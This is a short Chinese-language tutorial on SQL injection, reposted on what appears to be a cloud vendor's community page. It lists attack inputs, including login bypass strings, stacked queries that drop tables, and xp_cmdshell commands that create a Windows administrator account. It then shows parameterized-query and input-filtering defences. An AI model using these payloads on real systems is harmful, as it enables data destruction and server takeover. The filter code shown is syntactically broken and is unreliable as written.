SQL注入及防範

來源:互聯網
上載者:User

一、SQL注入方法

①試探資料庫

如在登入框的使用者名稱中輸入單引號‘

②略過驗證

若知道帳號,則在帳號名的輸入框中輸入:帳號名’--

若不知帳號,則在帳號名的輸入框中輸入:‘OR 1=1 --

③執行多個SQL運算式

利用分號分隔運算式如:

輸入 ‘;drop table表名--

‘;insert into表名 values('欄位1值','欄位2值',……)--   注意此法必須知道所有的欄位數

;and db_name()>0 --,db_name()是另一個系統變數,返回的是串連的資料庫名

④執行預存程序

輸入 ‘;exec master..xp-cmdshell 'ipconfig/release' -- 斷開網路連接

‘;exec master..xp_cmdshell 'net user name password /add' -- 用net命令建立了使用者名稱為name、密碼為password的windows的帳號

';exec master..xp_cmdshell ‘net localgroup name administrators /add'-- 將建立的帳號name加入Administrator 群組(只適用於用sa串連資料庫的情況)

二、解決方案:

①限定字串長度或輸入格式

例:txtUserID.MaxLength=8

ValidationExpression="\w+"

②使用參數

對於SQL資料庫:

strcmd="Select * From Users where userID=@uid and pwd=@pwd"

sqlcommand cmd=new sqlcommand(strcmd,con);

sqlParameter param=cmd.Parameters.Add("@uid",sqlDbType.Varchar,10);

param.value=TextBox1.Text;

對於Access資料庫:

string sql="Select userid from test where [user]=? and pwd=?";

              cmd=new OleDbCommand(sql,conn);

              OleDbParameter Puser=new OleDbParameter("user",OleDbType.VarChar,50,"user");

              OleDbParameter Ppwd=new OleDbParameter("pwd",OleDbType.VarChar,50,"pwd");

              cmd.Parameters.Add(Puser);

              cmd.Parameters.Add(Ppwd);

              Puser.Value=this.TextBox1.Text;

              Ppwd.Value=this.TextBox2.Text;

③過濾輸入的字元

‘à''   [à[[]   %à[%]  -à[-]   _à[_]

例:

private string Filter(string strsql)

{

   string strsql;

   strsql=strsql.Replace("'","''");

   strsql=strsql.Replace("[',"[[]"];

   strsql=strsql.Replace("%","[%]");

   strsql=strsql.Replace("-","[-]");

   strsql=strsql.Replace("_","[_]");

   Return strsql;

}

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.